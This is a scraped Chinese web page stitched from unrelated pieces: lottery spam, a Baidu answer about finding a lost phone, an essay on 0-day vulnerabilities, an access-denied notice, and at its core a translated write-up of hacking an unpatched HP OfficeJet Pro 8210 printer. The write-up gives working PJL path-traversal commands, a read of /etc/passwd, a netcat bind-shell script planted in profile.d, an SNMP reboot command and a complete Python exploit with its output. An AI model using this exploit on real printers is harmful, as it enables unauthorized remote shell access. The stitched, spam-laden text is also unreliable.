时时彩四星直选小条件漏洞存在与哪里呢??怎样才能玩对 ?

看我如何从漏洞公告入手黑掉一台打印机 - FreeBuf互联网安全新媒体平台 | 关注黑客与极客
看我如何从漏洞公告入手黑掉一台打印机
共419194人围观
,发现 8 个不明物体
打印机是人们生活和办公中经常使用到的设备,家庭、公司、政府、医院、学校……,几乎每个单位机构都会使用打印机。其实,打印机在整个网络系统和边界范围中的安全问题不容忽视。你知道吗,打印机也需要经常更新补丁固件,打印机系统同样存在很多漏洞。但人们是否能真正认识到打印机的信息安全问题,值得思考。在此,我以某漏洞公告入手,叙述如何黑掉一台未及时更新固件的打印机,希望藉此引起人们对打印机安全问题的重视。
HP打印机某漏洞公告
4月初,HP(惠普)发布了一条名为“”,关于HP PageWide Printers和HP OfficeJet Pro Printer两种打印机的任意代码执行漏洞公告。公告总结中声称:
某些型号的HP打印机中被发现存在一种潜在的安全漏洞,攻击者利用该漏洞可以对目标打印机发起攻击,执行任意代码行为。
认真阅读该公告可以发现,该漏洞的CVSS评分竟高达9.8分(严重),但从字面来看,这种漏洞总结基本可以算是不痛不痒的说明,尤其对漏洞影响的隐晦刻画词“潜在”,更是让人一头雾水。除此之外,还有一个无任何有用信息的CVE描述,虽然已是HP漏洞公告后的两个月,但该CVE仍然处于“RESERVED” 状态,无任何漏洞细节的详细描述。
前期准备工作
保持好奇心永远没错!这种“潜在”的高危漏洞激起了我们的研究兴趣,大家愿意为之乐此不疲,说干就干,对照漏洞公告中受影响的设备型号,我们立即购买了两台HP OfficeJet Pro 8210打印机。
对于漏洞研究来说,购买新设备并期望其中仍然存在漏洞固件,本来就是一种赌博。天知道漏洞补丁是否被修复?侥幸的是,两台新购打印机都存在漏洞固件并禁用了补丁更新,如下web界面所示:
HP安全公告烦人的事就是告知用户前往自行下载相应的更新固件,HP针对此漏洞,提供了名为的更新固件下载。
为了方便验证对比,我们为其中一台OfficeJet Pro 8210打印机更新了固件,另一台未更新。好了,准备就绪,现在开始研究远程代码执行吧!
未更新固件的打印机:192.168.1.158
更新了固件的打印机:192.168.1.159
首先,用NMAP对更新了固件的打印机执行端口扫描:
albinolobster@ubuntu:~$ nmap -A 192.168.1.159
Starting Nmap 7.01 ( https://nmap.org ) at
Nmap scan report for HP0A6BFE.westeros (192.168.1.159)
Host is up (0.014s latency).
Not shown: 994 closed ports
STATE SERVICE
HP HTTP S HP OfficeJet Pro 8210 - D9L64A;
HP HTTP S HP OfficeJet Pro 8210 - D9L64A;
HP HTTP S HP OfficeJet Pro 8210 - D9L64A;
http-proxy HP HTTP S HP OfficeJet Pro 8210 - D9L64A;
jetdirect?
从扫描结果来看,并没有什么异常,80\443\8080端口都是用于HTTP服务监听的,515端口为行式打印机服务(LPD),631端口为互联网打印协议(IPP),被NMAP标记为“jetdirect?”的9100端口为HP的原始打印服务端口或9100打印服务。
HP把9100端口打印服务列为“HP专有”,但其除了支持原始打印服务外,还支持 PCL、PostScript和PJL打印语言。用这台OfficeJet Pro 8210打印机为例,以下为通过9100端口利用PJL语言获取打印机设备信息:
albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL INFO ID
@PJL INFO ID
"HP OfficeJet Pro 8210"
德国安全专家Jens Müller在1月份发布的报告《》中指出,大部分打印存在利用PJL语言进行目录遍历的漏洞,这里示例如下:
albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/" ENTR
tmp/ TYPE=DIR
csr_misc/ TYPE=DIR
可以发现,以上命令中列出了打印机的一个根目录0:/,和两个子目录tmp/、csr_misc/,在未更新固件的打印机上,尝试使用路径0:/../../进行目录枚举后,会出现以下情况:
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1
rw/ TYPE=DIR
ram/ TYPE=DIR
rom/ TYPE=DIR
.sig/ TYPE=DIR
打印机显示了一系列新的目录结构,这些敏感的目录位置看似可以进行攻击利用。我们使用相同的路径0:/../../枚举方法和PJL语言,在更新了固件的打印机上试试,会出现FILEERROR错误,如下:
albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../"
FILEERROR=0
这反映出了固件更新与未更新之间的区别,也侧面说明在未更新固件的打印机上可能存在远程代码执行漏洞。现在,我们把研究重点放在未更新固件的打印机上。
在未更新固件的打印机上尝试变换攻击方法
以上枚举出来的目录看似不太有用,这种文件结构不像我们熟悉的其它文件系统,那就试试其它目录遍历路径吧:
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../"
FILEERROR=0
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1
getopt TYPE=FILE SIZE=880020
setarch TYPE=FILE SIZE=880020
dd TYPE=FILE SIZE=880020
cp TYPE=FILE SIZE=880020
我尝试了../../后,产生了FILEERROR错误,而../../bin却可以列出一些传统Linux系统文件,看来可以像遍历Linux系统那样进行深入遍历了。
但如何把这些目录遍历转换成远程代码执行呢?首先,你得知道几个PJL命令:FSQUERY、FSUPLOAD和FSDOWNLOAD,这3个命令将会赋予用户访问打印机文件系统的读写(r/w)权限,例如,我可以利用FSQUERY或FSUPLOAD命令读取/etc/passwd密码内容:
@PJL FSUPLOAD NAME="../../etc/passwd" OFFSET=0 SIZE=648
@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648
root:x:0:0:root:/var/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
ftp:x:83:83:ftp:/home/ftp:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
default:x::Default non-root user:/home/default:/bin/sh
_ntp:x:100:99:Linux User,,,:/run/ntp:/bin/false
这些内容当然重要,值得读取,由于FSDOWNLOAD命令需要发送终止程序字符(ESC),所以,为了代替Netcat工具,我写了个Python脚本尝试把读取信息存储到../../tmp/writing_test文件中,如下:
import socket
import sys
test = ('test')
if len(sys.argv) != 3:
print '\nUsage:upload.py [ip] [port]\n'
sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="../../tmp/writing_test"\r\n'
dir_query += test
dir_query += '\x1b%-12345X'
sock.sendall(dir_query)
sock.close()
但遗憾的是,该脚本不能成功读取执行,可能是程序解释PJL语言时不具备对打印机文件系统的写权限:
albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSQUERY NAME="../../tmp/writing_test"
@PJL FSQUERY NAME="../../tmp/writing_test"
FILEERROR=0
没有了对该Linux文件系统的访问权限,也就意味着根本不可能进行文件更换或脚本执行操作,这对我们来说是一个小小的打击。现在,我们唯一的希望就剩下 0:/ 文件系统了。
在此,我就省去了对0:/目录的各种尝试叙述,最终我注意到了0:/../../rw/var/etc/profile.d/目录,因为通常profile.d目录包含了系统启动时的各种执行脚本。而且,可以发现,0:/../../rw/var/etc/profile.d/和../../var/etc/profile.d/下似乎都包含了相同的数据内容:
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1&
.sig/ TYPE=DIR
为了测试在0:/文件系统中是否可以对profile.d进行写权限操作,我把Python脚本中的FSDOWNLOAD命令部分中的写入目录换成了:0:/../../rw/var/etc/profile.d/writing_test,最终脚本如下:
import socket
import sys
test = ('test')
if len(sys.argv) != 3:
print '\nUsage:upload.py [ip] [port]\n'
sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="0:/../../rw/var/etc/profile.d/writing_test"\r\n
dir_query += test
dir_query += '\x1b%-12345X'
sock.sendall(dir_query)
sock.close()
试试看,竟然成功了,新写入创建的文件还能通过遍历方式可见:
albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
writing_test TYPE=FILE SIZE=4
获得控制Shell
SO,现在已经具备包含系统启动脚本目录的写权限了,离远程代码执行很近了。只需向其中写入一个执行脚本,并弄清楚如何重启打印机,当设备重启时,就可以静待脚本启动执行了。当然,这个脚本的运行最终必须得给予我们shell访问权。由于打印机系统中配置了netcat,由此,我创建了一个脚本,该脚本将会生成一个绑定到1270端口的shell:
if [ ! -p /tmp/pwned ]; then
mkfifo /tmp/pwned
cat /tmp/pwned | /bin/sh 2&&1 | /usr/bin/nc -l 1270 & /tmp/pwned &
之后,就只需想办法让打印机远程重启了。主要有两种方法,一种为使用打印机WEB界面中工具栏选项下的电源重启功能(Power Cycle),另一种为使用SNMP协议的MIB命令来实现重启,如下SNMP命令:
albinolobster@ubuntu:~$ snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4
iso.3.6.1.2.1.43.5.1.1.3.1 = INTEGER: 4
综上所述,把所有脚本功能合成后,最终写出了一个能向profile.d中写入系统启动执行脚本,并能执行打印机重启的exploit:
# Create a bind shell on an unpatched OfficeJet 8210
# Write a script to profile.d and reboot the device. When it comes
# back online then nc to port 1270.
# easysnmp instructions:
# sudo apt-get install libsnmp-dev
# pip install easysnmp
import socket
import sys
from easysnmp import snmp_set
profile_d_script = ('if [ ! -p /tmp/pwned ]; then\n'
'\tmkfifo /tmp/pwned\n'
'\tcat /tmp/pwned | /bin/sh 2&&1 | /usr/bin/nc -l 1270 & /tmp/pwned &\n
if len(sys.argv) != 3:
print '\nUsage:upload.py [ip] [port]\n'
sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(profile_d_script)) + ' NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n'
dir_query += profile_d_script
dir_query += '\x1b%-12345X'
sock.sendall(dir_query)
sock.close()
sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock1.connect(server_address)
dir_query = '@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n'
sock1.sendall(dir_query)
response = ''
while True:
data = sock1.recv(1)
if '\n' == data: break
response += data
print response
snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1)
print 'Done! Try port 1270 in ~30 seconds'
对未更新固件的目标打印机执行exploit,大约30秒后,可以获取到一个绑定到1270端口的反弹控制shell,如下:
albinolobster@ubuntu:~$ python printer_exploit.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh" TYPE=FILE SIZE=119
Done! Try port 1270 in ~30 seconds
albinolobster@ubuntu:~$ nc 192.168.1.158 1270
针对该漏洞威胁,Tenable已于5月底发布了。总之,绝不能忽视打印机安全问题,应该把打印机看成是企业威胁模型中的关键一环,打印机安全问题和计算机安全问题同等重要。另外,还需经常对各类打印设备进行定期安全扫描、固件更新和事件监控。
*参考来源:,freebuf小编clouds编译,转载请注明来自FreeBuf.COM。
看到这里,众多打印机厂商陷入沉思,要不要自己爆几个漏洞,说不定可以销量大增呢。
千秋邈矣独留我,百战归来再读书
我们立即购买了两台HP OfficeJet Pro 8210打印机。
我这么复杂,一句话怎么能够概括呢~
照漏洞公告中受影响的设备型号,我们立即购买了两台HP OfficeJet Pro 8210打印机。
必须您当前尚未登录。
必须(保密)
I am a robot ,do not talk to me ,code to me.
关注我们 分享每日精选文章
可以给我们打个分吗?我vivoX21手机不见了,有什么方法可以找回来吗_百度知道
我vivoX21手机不见了,有什么方法可以找回来吗
我有更好的答案
锁屏等指令试试若vivo X21手机丢失之前未在手机云服务中将查找手机功能开启的话、插入SIM卡的情况下才可发送成功的,则在vivo官网--查找手机寻回网站无法发送定位、锁屏等指令的。(温馨提示:在查找手机网站中发送定位、锁屏等指令是需要手机在开机,使用网络若vivo X21手机丢失之前在手机云服务中将查找手机功能开启的话,建议进入vivo官网--查找手机网站中登录vivo账号,发送定位
vivo,专注智能手机领域。
主营:智能手机
为您推荐:
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。全面了解0Day漏洞
所谓&0Day漏洞&,是指那些没有公开过,因而也没有补丁的漏洞,也就是通常所说的&未公开漏洞&。
假设您是一位非常注重安全的电脑用户,操作系统和应用软件都使用正版,上网习惯良好,而且还购买了杀毒软件和网络防火墙。这是否能确保您的上网安全呢?&&从技术角度来讲,似乎没有什么可担心的。但是,您是否知道,您所使用的操作系统和第三方应用程序,也许潜伏着一些不为人知的重大漏洞!当你发现你的网络已遭入侵,账号已被窃取,用杀毒软件扫描却一无所获&& 这时,你考虑过0Day么?
  什么是0Day
  0Day的概念最早用于软件和游戏破解,属于非盈利性和非商业化的组织行为,其基本内涵是&即时性&。当时的0Day是指在正版软件或游戏发布的当天甚至之前,发布附带着序列号或者解密器的破解版,让使用者可以不用付费就能长期使用。而眼下的0Day,是指在安全补丁发布前而被了解和掌握的漏洞信息,正在对信息安全产生越来越严重的威胁。
漏洞信息的公开加速了软件生产企业的安全补丁更新进程,减少了恶意程序的危害程度。但如果是不公开的0Day呢?是否有很多0Day一直在秘密流传?例如,给全球网络带来巨大危害的&冲击波&和&震荡波&这两种病毒,如果它们的漏洞信息没有公开,自然也就没有这两种超级病毒的产生。反过来想,有什么理由认为眼下不存在类似的有着重大安全隐患的漏洞呢?
  在互联网应用越来越发达的今天,0Day漏洞的威胁也越来越大,甚至有可能引发整个互联网的&地震&,因为看不见的才是最可怕的。
  不可避免的0Day
  信息价值的飞速提升,互联网在全球的普及,数字经济的广泛应用,这一切都刺激着信息安全市场的不断扩大。软件破解、口令解密、间谍软件、木马病毒,已经迅速地传播开来。从操作系统到数据库,从应用软件到第三方程序和插件,再到遍布全球的漏洞发布中心,它们当中有多少0Day存在?可以毫不夸张的说,在安全补丁程序发布之前,所有的漏洞信息都是0Day,但是从未发布过安全补丁的软件是否就意味着它们当中不存在0Day呢?
  有人说:&每一个稍具规模的应用软件都可能存在0Day。&没错!从理论上讲,漏洞必定存在,只是尚未发现,而弥补措施永远滞后而已。
  只要用户方不独自开发操作系统或应用程序,或者说只要使用第三方的软件,0Day的出现就是迟早的事,无论你是使用数据库还是网站管理平台,无论你是使用媒体播放器还是绘图工具,即便是专职安全防护的软件程序本身,都会出现安全漏洞,这已是不争的事实,但最可怕的不是漏洞存在的先天性,而是0Day的不可预知性。  从开源的角度上来说,Linux更容易比封闭源代码的Windows存在更多的0Day。那些自以为使用着安全操作系统的人,迟早会被0Day攻击弄得哑口无言。而微软呢?由于其操作系统应用的广泛性,如今已是补丁加补丁,更新再更新,Windows Vista竟然含有几万行的问题代码。而且,谁又能保证微软的源代码没有丝毫泄露呢?类别:【网络安全】&查看评论
分享这篇日志的人也喜欢
没人疼没人爱我是地里的一颗小白菜白
不过愚人节
新人。。。。
下午好宝宝们
听说今天你喜欢我
热门日志推荐
人人最热标签
北京千橡网景科技发展有限公司:
文网文[号··京公网安备号·甲测资字
文化部监督电子邮箱:wlwh@vip.sina.com··
文明办网文明上网举报电话: 举报邮箱:&&&&&&&&&&&&
请输入手机号,完成注册
请输入验证码
密码必须由6-20个字符组成
下载人人客户端
品评校花校草,体验校园广场拒绝访问 | www.4hou.com | 百度云加速
请打开cookies.
此网站 (www.4hou.com) 的管理员禁止了您的访问。原因是您的访问包含了非浏览器特征(a43cb-ua98).
重新安装浏览器,或使用别的浏览器}

我要回帖

更多关于 四星直选最稳定的玩法 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信